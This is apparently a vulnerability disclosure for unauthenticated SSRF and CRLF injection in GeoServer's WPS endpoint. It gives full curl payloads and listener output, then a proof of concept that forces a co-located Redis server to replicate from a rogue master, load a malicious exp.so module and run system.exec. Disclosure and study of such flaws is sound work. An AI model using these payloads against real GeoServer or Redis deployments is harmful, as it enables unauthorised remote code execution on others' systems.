Unauthenticated Server Side Request Forgery & CRLF injection in Geoserver WMS

The WPS component allows users to craft XML body that are sent to the Web Map Service.

This payload can then be sent to the geoserver/wms public endpoint, which will try to pull the data stored on http://172.17.0.3:8000 to use its content in other Geoserver process.

$ curl -X POST http://172.17.0.2:8080/geoserver/wms -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?>
    <wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
          xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" 
          xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" 
          xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" 
          xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" 
          xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd"> 
          <ows:Identifier>JTS:area</ows:Identifier>  <wps:DataInputs>    <wps:Input>        
          <ows:Identifier>geom</ows:Identifier>      
          <wps:Reference mimeType="application/json" xlink:href="http://172.17.0.3:8000" method="GET"/>     
          </wps:Input>  </wps:DataInputs>  <wps:ResponseForm>    <wps:RawDataOutput>     
          <ows:Identifier>result</ows:Identifier>    </wps:RawDataOutput>  </wps:ResponseForm></wps:Execute>'

<?xml version="1.0" encoding="UTF-8"?><wps:ExecuteResponse > [...]</wps:ExecuteResponse>'

The request is well received on the targeted server.

# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [09/Aug/2022 13:19:58] "GET / HTTP/1.1" 200 -

By reading documentation, the XML <wps:Header> tag has been identified. This tag allows to craft custom headers in the request, which are directly put after the HTTP request first line.

curl -X POST http://172.17.0.2:8080/geoserver/wms -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?>
[...]
<wps:Reference mimeType="application/json" xlink:href="http://172.17.0.3:8000" method="GET"> 
<wps:Header key="Test-Header" value="Synacktiv"/> </wps:Reference>  [...]'
[...]

The following request is then received on 172.17.0.3.

# nc -lvp 8000
Listening on 0.0.0.0 8000
Connection received on 172.17.0.2 53871
GET / HTTP/1.1
Test-Header: Synacktiv
User-Agent: Jakarta Commons-HttpClient/3.1
Host: 172.17.0.3:8000

After this first observation, Carriage Return Line Feed (CRLF) were injected as well, in order to determine if one could inject arbitrary DATA in the requests or if the content was limited to HTTP headers.

$ curl -X POST http://172.17.0.2:8080/geoserver/wms -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?>
[...]
<wps:Reference mimeType="application/json" xlink:href="http://172.17.0.3:8000" method="GET"> 
<wps:Header key="titi&#x0a;&#x0d;ISOLATED LINE IN THE REQUEST&#x0a;&#x0d;" value="toto"/> </wps:Reference> [...]'
[...]

The following request is then received on 172.17.0.3.

# nc -lvp 8000
Listening on 0.0.0.0 8000
Connection received on 172.17.0.2 60225
GET / HTTP/1.1
titi
ISOLATED LINE IN THE REQUEST
: toto
User-Agent: Jakarta Commons-HttpClient/3.1
Host: 172.17.0.3:8000

The CRLF are interpreted by the server and transmitted in the request. This makes the SSRF vulnerability more dangerous, since it eases the communication with other services that might be running on the same instance.

Proof of concept, remote code execution via Redis

Because no control is made on the target destination, and since the content of the request can be manipulated, it was possible to craft payloads targeting other services. In our demonstration, we decided to target a Redis server running on the same instance as the Geoserver application.
For this POC to work, prerequisites are as follows:

• The targeted server needs to be able to connect to a machine controlled by the attacker.
• The Redis targeted service needs to be set in its default installation with no authentication settings set.
• The attacker needs to setup a Redis rogue server. In our case we used this project: https://github.com/LoRexxar/redis-rogue-server

It has to be noted that projects using Geoserver were identified to use Redis in complement to Geoserver such as GeoMesa (https://www.geomesa.org/documentation/stable/user/redis/index.html). This makes the probability to obtain remote code execution from our vulnerability more likely happen in real-life infrastructures.

In order to exploit an infrastructure such as the one described above, an attacker would need to perform the following actions:

• Start a Redis rogue server on the attacker machine

$ python3 redis-rogue-server.py --lhost 172.17.0.3 –lport 6379
[...]

• Interact with Redis to define the rogue server as its master with the following request

$ curl -X POST http://172.17.0.2:8080/geoserver/wms -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?>
    <wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" 
           xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" 
           xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" 
           xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" 
           xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
           <ows:Identifier>JTS:area</ows:Identifier><wps:DataInputs><wps:Input>
           <ows:Identifier>geom</ows:Identifier>
           <wps:Reference mimeType="application/json" xlink:href="http://localhost:6379" method="GET"><wps:Header 
                key="SLAVEOF 172.17.0.3 6379&#x0a;&#x0d;config set dir /tmp&#x0a;&#x0d;CONFIG SET dbfilename 
                exp.so&#x0a;&#x0d;quit&#x0a;&#x0d;" value="toto"/>
           <wps:Body>aa</wps:Body>
           </wps:Reference></wps:Input></wps:DataInputs><wps:ResponseForm><wps:RawDataOutput>
           <ows:Identifier>result</ows:Identifier></wps:RawDataOutput></wps:ResponseForm></wps:Execute>'
[...]

• If everything works, the targeted Geoserver application should send a request to the  targeted Redis server. This request will update its configuration so that the targeted Redis server become the slave of the attacker Redis server  and will download its configuration in the /tmp/exp.so file. This can be observed from the attacker rogue Redis server command line:

$ python3 redis-rogue-server.py --lhost 172.17.0.3 –lport 6379
b"\x1b[1;34;40m[->]\x1b[0m b'*1\\r\\n$4\\r\\nPING\\r\\n'\n\x1b[1;32;40m[<-]\x1b[0m b'+PONG\\r\\n'\n\x1b[1;34;40m[->]\x1b[0m b'*3\\r\\n$8\\r\\nREPLCONF\\r\\n$14\\r\\nlistening-port\\r\\n$4\\r\\n6379\\r\\n'\n\x1b[1;32;40m[<-]\x1b[0m b'+OK\\r\\n'\n\x1b[1;34;40m[->]\x1b[0m b'*5\\r\\n$8\\r\\nREPLCONF\\r\\n$4\\r\\ncapa\\r\\n$3\\r\\neof\\r\\n$4\\r\\ncapa\\r\\n$6\\r\\npsync2\\r\\n'\n\x1b[1;32;40m[<-]\x1b[0m b'+OK\\r\\n'\n\x1b[1;34;40m[->]\x1b[0m b'*3\\r\\n$5\\r\\nPSYNC\\r\\n$1\\r\\n?\\r\\n$2\\r\\n-1\\r\\n'\n\x1b[1;32;40m[<-]\x1b[0m b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\\r\\n$48552\\r\\n\\x7fELF\\x02\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'......b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd1\\xb6\\x00\\x00\\x00\\x00\\x00\\x00\\xd3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r\\n'\n"

• Lastly, we force the targeted Redis server to load the malicious module and use the system.exec command with the following curl request.

$ curl -X POST http://172.17.0.2:8080/geoserver/wms -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?>
    <wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
        xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" 
        xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" 
        xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" 
        xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" 
        xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
        <ows:Identifier>JTS:area</ows:Identifier><wps:DataInputs><wps:Input><ows:Identifier>geom</ows:Identifier>
        <wps:Reference mimeType="application/json" xlink:href="http://localhost:6379" method="GET">
        <wps:Header key="MODULE LOAD /tmp/exp.so&#x0a;&#x0d;SLAVEOF NO ONE&#x0a;&#x0d;system.exec 
            &#x22;touch /tmp/helloRCE2&#x22;&#x0a;&#x0d;quit&#x0a;&#x0d;" value="toto"/>
        <wps:Body>aa</wps:Body></wps:Reference></wps:Input></wps:DataInputs><wps:ResponseForm>
        <wps:RawDataOutput><ows:Identifier>result</ows:Identifier></wps:RawDataOutput></wps:ResponseForm></wps:Execute>'
[...]

Following those steps, allows performing RCE on an unexposed Redis server by exploiting the SSRF present on the Geoserver instance. The exploitation of this vulnerability does not require authentication.

If everything worked, two files should be present in the /tmp folder of the targeted server:

• The file exp.so, which is the malicious module.

• The file helloRCE that is created by the call to the system.exec module.